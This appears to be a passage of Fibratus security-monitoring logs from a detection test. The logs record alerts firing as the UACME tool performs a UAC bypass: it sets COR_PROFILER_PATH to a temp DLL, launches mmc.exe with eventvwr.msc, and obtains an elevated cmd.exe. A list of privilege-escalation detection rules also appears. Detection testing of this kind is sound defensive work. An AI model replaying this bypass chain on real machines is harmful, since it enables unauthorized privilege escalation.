Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:9885a1e8-f49f-46fa-a45d-9d5c3a2701bb WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1844665 + Pid: 1588 + Tid: 10772 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-02 15:47:33.2957362 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 63c78000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808fb923a080, name➜ cmd.exe, pid➜ 17792, ppid➜ 1588, real_ppid➜ 1588, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-02 15:47:33.2956808 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: 18269657026245613826 + + Pid: 1588 + Ppid: 12536 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-02T15:49:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T15:49:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T15:49:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T15:49:18+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T15:49:18+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T15:49:18+01:00 level=info msg=bootstrapping with pid 5972. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T15:49:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] mail=>[ to=>[] content-type=>text/html enabled=>false port=>25 use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-handle=>false enable-vamap=>true stack-enrichment=>true enable-dns=>false enable-image=>true max-buffers=>36 enable-threadpool=>false enable-registry=>true buffer-size=>512 enable-fileio=>true enable-net=>true min-buffers=>16 flush-interval=>1s enable-thread=>true enable-mem=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info log-stdout=>true max-backups=>15 max-age=>0 formatter=>text] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ level=>info enabled=>false] http=>[ enable-gzip=>false serializer=>json enabled=>false endpoints=>[] method=>POST timeout=>5s tls-insecure-skip-verify=>false] elasticsearch=>[ gzip-compression=>false healthcheck-timeout=>5s healthcheck=>true template-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 enabled=>false index-name=>fibratus sniff=>false flush-period=>1s servers=>[http://127.0.0.1:9200] timeout=>5s trace-log=>false] amqp=>[ vhost=>/ exchange-type=>topic exchange=>fibratus delivery-mode=>transient enabled=>false passive=>false routing-key=>fibratus url=>amqp://localhost:5672 timeout=>5s durable=>false tls-insecure-skip-verify=>false]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false fastscan=>true excluded-files=>[] skip-allocs=>false skip-registry=>false excluded-procs=>[] enabled=>false scan-timeout=>10s skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-02T15:49:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T15:49:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T15:49:24+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 1866905 + Pid: 1596 + Tid: 16328 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-02 15:49:22.3916706 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffff9508d7db52f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 16362572166505455993, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 1596 + Ppid: 15544 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:9885a1e8-f49f-46fa-a45d-9d5c3a2701bb WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1870448 + Pid: 6164 + Tid: 8948 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-02 15:49:23.0894301 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 2f2fb000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808fc3898080, name➜ cmd.exe, pid➜ 16712, ppid➜ 6164, real_ppid➜ 6164, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-02 15:49:23.0893733 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 16362572166505455993, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 6164 + Ppid: 1596 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-02T15:49:39+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 1874574 + Pid: 6732 + Tid: 5896 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-02 15:49:36.022361 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffff9508d7db52f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 16362572166505455993 + + Pid: 6732 + Ppid: 15544 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows 